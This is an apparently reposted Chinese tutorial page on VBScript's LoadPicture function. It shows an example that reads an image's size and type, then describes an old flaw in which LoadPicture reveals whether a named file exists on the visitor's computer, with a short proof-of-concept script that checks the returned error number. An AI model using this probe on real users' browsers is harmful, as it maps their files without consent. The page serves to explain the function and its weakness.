首页脚本vbs中的LoadPicture函数示例

vbs中的LoadPicture函数示例

时间2024-02-11 09:50:03发布访客分类脚本浏览625
导读:收集整理的这篇文章主要介绍了vbs中的LoadPicture函数示例,觉得挺不错的,现在分享给大家,也给大家做个参考。 示例: LoadPicture函数 选择图片...
收集整理的这篇文章主要介绍了vbs中的LoadPicture函数示例,觉得挺不错的,现在分享给大家,也给大家做个参考。 示例:
LoadPicture函数 选择图片 Sub GetPicInfor() dim objpic,iWidth,iHeight dim pictyPE,picpath picpath=document.frm.pic.value set objpic=Loadpicture(picpath) iWidth = round(objpic.width / 26.4583) '26.4583是像素值 iHeight = round(objpic.height / 26.4583) select case objpic.type case 0 pictype = "None" case 1 pictype = "BITmap" case 2 pictype = "Metafile" case 3 pictype = "Icon" case 4 pictype = "Win32-enhanced metafile" end select document.write "你选择了图片"& picpath document.write "
  • 长度:"& iHeight& "
  • " document.write "
  • 宽度:"& iwidth& "
  • " document.write "
  • 类型:"& pictype& "
  • " End Sub
    [Ctrl+A 全选 注:引入外部Js需再刷新一下页面才能执行]
    不过这个函数有个漏洞,可以探测电脑上存在的文件名。2004年的漏洞,微软现在也没补,示例:
    Sub loadIt(filename) LoadPicture(filename) End Sub function doIt(form) { try { loadIt(form.filename.value); } catch(e) { result = e.number; } if (result != -2146827856) { alert('file exists'); } else { alert('file does not exist'); } }
    [Ctrl+A 全选 注:引入外部Js需再刷新一下页面才能执行] 您可能感兴趣的文章:
    • VBS教程:函数-LoadPicture 函数
    • vbscript LoadPicture函数使用方法与漏洞利用

    声明:本文内容由网友自发贡献,本站不承担相应法律责任。对本内容有异议或投诉,请联系2913721942#qq.com核实处理,我们将尽快回复您,谢谢合作!


    若转载请注明出处: vbs中的LoadPicture函数示例
    本文地址: https://pptw.com/jishu/609641.html
    自己写的一个定时关机或重启的vbs脚本 用VBS来代替BAT或CMD文件进行命令第1/2页

    游客 回复需填写必要信息